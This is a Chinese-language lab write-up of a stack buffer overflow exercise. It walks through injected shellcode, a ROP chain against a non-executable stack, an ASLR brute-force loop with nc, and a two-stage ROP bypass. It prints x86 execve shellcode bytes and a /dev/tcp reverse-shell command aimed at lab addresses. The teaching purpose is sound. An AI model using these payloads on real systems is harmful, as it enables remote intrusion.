Task1: Level-1 Attack
实验原理:
1. shellcode:
实验中使用的shellcode:
shellcode
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
这里补充介绍一下shellcode:
实现shell的功能:
- linux------通过执行系统调用执行/bin/sh
- windows------实现运行system(command.com) 网上有很多现成的shellcode可供使用。当然也可以自己编写。上面这一段shellcode的功能是执行系统调用execve,然后这个调用的三个参数分别为/bin/bash, -c,和我们想执行的command。 在这个task中,我们让对方执行的指令如下:
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
- -i意思是这个shell是(interactive)交互式的。需要提供shell prompt。
- /dev/tcp/<target_ip>/<target_port> 意思是把shell的输出(stdout)重定向到TCP连接(target_ip, target_port)
- 在unix中,标准输出stdout是1,标准输入stdin是0,2是the standard error stderr。0<&1把标准输出设备作为标准输入设备,但stdout已经被重定向到tcp连接了,所以这个意思实际上是从tcp读取输入。类似的,2>&1 代表把错误的输出重定向到stdout(也就是tcp连接)。
总之,这条命令就可以把10.9.0.5的stdin, stdout, stderr重定向到网络连接,从而构建reverse shell.
2. buffer overflow:
victim 代码的漏洞在于:bof执行strcpy时没有检查str的长度。当str的长度超过buffer的长度时,就会发生buffer overflow。
//
strcpy(buffer, str);
程序栈的结构如下所示:ebp指向栈底,也就是函数栈帧的开始。在函数执行完退出之后,会返回return address执行。
触发buffer overflow的过程:把shellcode的内容填入buffer中,并且利用溢出把return address的地址用shellcode的起始地址覆盖掉。这样函数返回时就会通过return address的地址跳转到shellcode来执行我们的指令了。
整个结构大概是这样:
Task2: Level2 Attack(stacks non-executable)
实验要求:
Task2开启了stacks non-executable, (NX) 这样task1的shellcode就无法执行了。所以我们得利用gadgets来代为执行shellcode的功能。
实验原理:
1. Rop
在本次task中,我们需要用gadgets来代为执行shellcode的功能。Gadgets是一些以ret结尾的代码段,利用gadgets代码碎片,我们可以设置寄存器的值,最后跳到int 0x80执行系统调用。Gadgets的示意图如下:
我们需要用gadgets代为完成shellcode 的功能。整体来看,shellcode给eax, ebx, ecx, edx分别赋值,随后跳到int 0x80执行。
关于 eax: 下图中高亮的两条指令把eax地位置为0xb。****
关于ebx: 这里pop ebx。结合下面第二张图,这刚好使ebx等于/bin/bash*的地址。
关于ecx: 下图中蓝色方框利用一系列指令构造了一个以ebx+0x48为起始地址的参数数组。首先把ebx(也就是/bin/bash的地址)放到ebx+0x48的位置,随后把ebx+0xa(也就是第二个参数-c)放到ebx+0x4c的位置,ebx+0xd(也就是第三个参数:目标指令)放到ebx+0x50的位置。最后把eax放到ebx+0x54的位置上。一开始我忽略了这一点,导致我后面实验一直过不了qwq。这里需要联系前面的xor eax. 我们首先是用xor把eax清零了,所以这里ebx+0x54其实等于全零。参数数组的最后一个得是全0,这样都参数的时候才知道读到这里应该停下。
关于edx: 这里简单的用xor对edx进行了一个清零操作。
总结一下就是:通过gadgets,我们需要把eax置为0x0b(eax应该存系统调用编号,int 0x0b是execve的系统调用编号。这样跳到int 0x80进行系统调用的时候就会调用execve了), ebx置为/bin/bash字符串的地址。然后自己构造一个参数数组,把三个参数字符串的参数地址依次存入参数数组中,并且参数数组的第四个元素值为全0.参数数组构造完成之后,把参数数组的起始地址赋给ecx, 随后edx清零。最后跳转到int 0x80即可。
寻找合适的gadgets来实现上述功能并不是一件容易的事情。这里有一个小小的trick: 我们往buffer中填入的东西不能含有00,因为这会被判定为字符串结束符,从而使strcpy终止。所以我们找到的所有gadgets的地址中不能含有00。
2. 栈结构
如何执行gadgets?另外,ebx和ecx分别需要填入/bin/bash的地址和构造的参数数组的地址,这些地址又应该如何计算如何安排呢?这就与函数栈的结构密切相关了。
Gadgets 的位置和布局:
第一个gadget应该在bof的return address上。这样bof在return的时候就会从第一个gadgets开始往下执行。
最终构造的Gadgets的示意图如下:
参数字符串的地址:
进行exevce系统调用所需的三个参数分别为下面的三个字符串:
/bin/bash
-c
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
为了区分这三个不同的字符串,这三个字符串之间肯定是要有字符串结束符的。但是字符串结束符会截断strcpy。这也就意味着bof中在strcpy之后的buffer里面不会有完整的这三个字符串。Task1的Shellcode把字符串结束符替换成*号,并且利用汇编语句在运行时把它们替换成字符串结束符(汇编语句如下图所示)。这样就避免了字符串结束符使strcpy被截断的问题。
那么在gadgets能不能也这么做呢?不幸的是好像不太行。因为我们没法事先知道这三个字符串在docker容器的函数的栈中的地址,自然也无法找到合适的gadgets来在运行时把特殊符号转换成字符串结束符。
如此看来,strcpy被截断就是必然的了。我们不可能在strcpy后的buffer中找到这三个完整的字符串。但是buffer里面没有这三个字符串就意味着我们无法获得这三个字符串的地址吗?
并不是这样。思路打开!阅读stack.c的源码可知,strcpy是把str的内容copy到buffer中。虽然在buffer中我们找不到这三个字符串,但是在str中肯定是能找到的!因为这个str就是我们发过去的badfile, 只要我们发的badfile有这个字符串就一定能在str中找到。
那么str在栈中的位置在哪里呢?我们可以通过本地gdb调试来找到str在栈中的位置。(gdb调试也有一个坑。gdb调试需要在编译时加上-g才能查看变量地址,否则会报错。所以我们得修改原本的makefile文件,加上-g再重新编译一次)
需要注意的是,由于栈地址具有一定的随机性,所以docker中str的位置与我们本地的不一定相等。我们需要通过偏移量间接的计算出docker中str的地址。示意图如下:
如下图所示,bof的ebp位置为0xffffcad8, str的位置为0xffffcf07,那么它们之间的相对距离str_offset就是0xffffcf07 - 0xffffcad8。
参数数组的构造:
通过上述的分析,我们可以把三个参数字符串写入content字符串中。然后用字符串在content中的起始位置加上str在栈中的位置就可以找到参数字符串在栈中的地址了。
参考shellcode,构造参数数组需要在四个间隔为4的地址上分别放入三个参数字符串的地址和全0. 这里的全0也是会导致strcpy被截断的。不过我们可以把全0赋值放到参数字符串的最后。这样就可以保证参数字符串正确的被构造了。
构造参数字符串的代码如下:其中begin1、2、3分别是三个参数字符串在content中的偏移量。 整个逻辑图如下:
Task3: Experimenting with the Address Randomization
实验要求:
在开启ASLR的情况下利用brute-force.sh进行攻击。
实验原理:
在栈地址随机化开启之后,return address跳到的位置就不一定是shellcode的位置了。(值得注意的是,这时对return address的覆盖仍然是成功的。因为我们覆盖return address利用的是buffer和函数栈帧return address之间的偏移量。这个相对偏移量并不会随着地址随机化而改变。但是此时shellcode的位置就会因为地址随机化变得随机,从而return address就不一定能跳到shellcode上了)如果不做任何措施的话,需要等到随机到的栈和我们之前的栈地址完全一样才能成功跳转到shellcode执行.但是显然这个概率是非常小的。为了增大命中的概率,利用如下语句在填充的字符串中填入大量nop指令:(0x90是nop的编码) 这样就算return address不能精准的跳到shellcode上也没关系。只要跳到shellcode之前就可以了,因为跳到nop指令上会一直往下执行,从而顺利执行到shellcode。 另外使用brute-force.sh脚本循环进行尝试,直到成功为止。
#!/bin/bash
SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
cat badfile | nc 10.9.0.5 9090
done
Bonus: Counteract randomness for ROP
实验要求:
同时开启栈不可执行和地址随机化。用ROP完成攻击。
实验原理:
我一开始想用类似于task3的方法来完成Bonus:把参数字符串和参数数组都多复制几遍,增大随机化之后地址命中的概率。但是后来考虑了一下发现没法成功。因为str的长度是固定的(517)。这决定了我们并不能把参数字符串和参数数组复制多少次(我试了一下,大概只能复制50~100次左右)。所以我们根本没法通过复制来大大增加碰撞成功的概率。请教助教之后,实现本次攻击有了一次新的思路:
在bonus中,因为我们加了aslr, 所以它打印给我们的地址下一次连接就没用了。换言之,只有在同一次连接中,栈的位置才是一样的。那有没有可能在一次连接中完成攻击呢?让server在一次连接中两次读入输入,这样我们就可以利用第一次读入之后打印的地址来构造第二次攻击的badfile,并且在同一个连接中发起二次攻击。
具体来说,我们需要自己用python脚本写一个tcp连接。连接到server后,首先利用rop第一次攻击:利用rop把bof的return address改成main函数的起始地址(因为text字段是不随机的,所以main函数的起始地址不变,在开启aslr之后我们仍然能精准的跳到main函数的开始),这样在第一次执行完bof,打印栈地址之后函数会跳回main函数,重新等待fread输入。此时,在同一个连接中,我们利用刚刚得到的栈地址,第二次构造badfile进行攻击,生成reverse shell.
不过这里面还是有一些细节问题的。在第二次badfile的构造中,参数字符串,参数数组,新的bof的buffer和ebp的地址仍然需要仔细考虑。
在第一次bof返回之后,我们修改return address使之跳到main函数重新开始。所以在第二次进入bof的时候,函数的栈其实应该是这样的(最右边这个):
如上图所示,我们需要利用第一次打印fread之后打印出来的ebp和buffer地址进行一些运算,然后才能得到第二次攻击时真正的buffer和ebp的地址。
这里计算地址的方法和task2一样利用了栈之间地址的相对不变性。首先,我们可以利用gdb在本地调试,得到最右边两个main函数之间的栈的距离:
本地注入badfile1(使bof跳到main函数的badfile),用gdb查看注入前后两次main函数的栈帧中str的地址:
这样,我们就知道新旧两个main栈帧之间的距离为0xffffc8c7 -- 0xffffcf07。
随后再利用ebp,buffer和str之间的相对距离,就可以计算出第二次bof栈帧中ebp和buffer的位置了。
最后简单介绍一下我的脚本逻辑:
第一部分:attack_pre函数。生成把bof的return_address改成main函数的起始地址的badfile:
第二部分:attack函数。与task2 rop的脚本基本上完全一样。利用给出的buffer, ebp_address和str_address生成能够打开reverse shell的badfile.为了避免重复这里就不放图了。
第三部分:update函数。计算第二次调用bof函数时新的ebp_address和buffer地址。
第四部分:main函数。保持tcp连接,在一次连接中进行两次输入: